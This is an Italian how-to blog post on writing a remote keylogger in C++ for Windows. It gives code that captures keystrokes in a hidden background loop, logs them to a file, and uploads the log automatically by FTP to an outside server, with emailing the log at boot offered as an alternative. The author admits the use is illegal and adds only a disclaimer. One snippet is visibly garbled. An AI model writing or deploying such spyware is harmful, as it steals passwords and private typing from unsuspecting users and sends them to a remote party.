Scrivere un Remote Keylogger in c++ per windows

Ciao a tutti, in questo primissimo Howto cercherò di spiegarvi come implementare un semplice Remote Keylogger in c++; nella sezione codici potete trovare il sorgente di un Keylogger che funziona esclusivamente in locale.

Partiamo col dire cosa si intende per Remote Keylogger:
un keylogger, in parole povere, è un programma che gira su un computer (in genere in background:P) il cui scopo è catturare e registrare tutti i tasti premuti da un utente.
Per Remote Keylogger invece si sottointende che il pc su cui gira il programma non è (in genere) nella rete locale, quindi su un terminale remoto.
Per implementare il controllo remoto esistono vari modi, vedremo più avanti come si implementa uno di questi, gli altri saranno semplicemente accennati.


La funzione principale nell'implementare un keylogger è la GetAsyncKeyState; il cui scopo è quello di verificare se un dato tasto, passato come parametro alla funzione, è stato o meno premuto.
Si capisce quindi che un semplice keylogger può essere facendo scrivendo una lista di if testando questa funzione, infatti per catturare ad esempio le lettere minuscole un possibile codice può essere il seguente:

...
for (i = 65; i <= 90; i++)
if (GetAsyncKeyStaif (GetAsyncKeyState(i) == PRESSED) Ch+=char(i+32);
...


Il for scandisce la rappresentazione numerica delle lettere dalla 'a' alla 'z', e tramite la funzione prima citata si controlla se una data lettera è stata o meno premuta; PRESSED è semplicemente una define impostata a valore –32767;

Una volta implementati tutta una lista di questi for (uno per le lettere minuscole, uno per le maiuscole, uno per i numeri ed infine uno per i simboli), il passo seguente è quello di decidere come salvare i dati ottenuti.
Supponiamo, come nell'esempio sopra, di avere registrato ogni lettera in una stringa (da me chiamata Ch), potremmo ad ogni intervallo temporale da noi prefissato, salvare il contenuto di tale stringa in un file.
Piu precisamente:

...
string NameKlog="Keyloggerlog.txt";
hFileKEYLOG=CreateFile(NameKLog.c_str(),FILE_APPEND_DATA,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);

WriteFile(hFileKEYLOG,Ch–>c_str(),SizeLog,&SizeLog,NULL);
CloseHandle(hFileKEYLOG);
...


La gestione dei file può essere fatta in altri modi, io usando il visual studio di windows ho usato queste funzioni, si puo benissimo usare la classe fstream e rendere il tutto più leggibile.

Quindi in totale un keylogger sarà semplicemente un while infinito formati da una catena di if, con un controllo temporale sui minuti/ore.
In questo modo si può perciò implementare un semplice keylogger; niente vieta di espandere questa semplice idea e di aggiungere funzioni quali ad esempio la registrazione della finestra con cui sta interagendo in quel momento l'utente, per le funzioni necessarie si rimanda alla lettura del sito msdn e al codice presente nella sezione source codes.

Dobbiamo spiegare adesso cosa dobbiamo aggiungere al codice per far si che un keylogger divenga a tutti gli effetti un Remote Keylogger.
Come dicevo prima esistono vari modi per venire a conoscenza del file di log dentro cui sono registrati i tasti; uno potrebbe essere che alla partenza del programma (quindi se messo in esecuzione automatica questo si traduce in: all'avvio del pc), questo invii una email contenente il file di log.
A questo scopo è possibile quindi o implementare il codice presente nella sezione sorgenti per la creazione di un semplice client email, oppure usando un programma ftp hostato su un server in rete.
Un' altra alternativa potrebbe essere quella di hostare direttamente il file di log su un server, vedremo adesso questa possibilità.

Supponiamo di avere quindi un nostro dominio (sito) su cui poter hostare file via ftp (prenderò come esempio il mio sito: redo86.altervista.org); quello che dobbiamo fare è aggiungere al nostro codice tutto il necessario per far si che l'upload del file divenga automatico.

Le funzioni necessarie a questo scopo su windows sono:
InternetOpen per inizializzare i parametri necessari, la InternetConnect per la trasmissione dei file in rete, ed infine la FtpPutFile il cui scopo si commenta da solo:P

Vediamo il codice:
bool UploadFileLog(){

HINTERNET conn,ftpconn;
conn = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);

if(!conn){
cout<<"Connection Failed"<<endl;
return false;
}

ftpconn = InternetConnect(conn,"redo86.altervista.org",21,UTENTE,PASSWORD, INTERNET_SERVICE_FTP, 0,0 );

if(!ftpconn){
cout<<"Ftp connection failed"<<endl;
return false;
}

if(!FtpPutFile(ftpconn,"KeyloggerLog","Keyloggerlog", INTERNET_FLAG_TRANSFER_BINARY, 0)){

cout<<"Error: can\' t host selected file"<<endl;
return false;

}
InternetCloseHandle(ftpconn);
InternetCloseHandle(conn);
return true;

}
Come si vede su windows la procedura è veramente semplice, basta aprire una connessione e passare i parametri alla funzione FtpPutFile necessari per far si che il file venga hostato; chiaramente il punto cruciale di questa procedura è il possesso di un server su cui mettere i file; ed essendo che a seconda degli usi che si vuol fare del file di log, il tutto è chiaramente illegale!

Beh gente, spero di essere stato chiaro e utile, per qualsiasi dubbio contattatemi pure.

Se volete vedere per intero il keylogger lo trovate nella sezione source Codes a questo Link.




Important

The use of this material at the expense of others is absolutely not approved by badnack, which is not considered in any way responsible for any damage caused by improper use of the material. Copies of the above links are for illustrative purposes only and are posted only for for educational purposes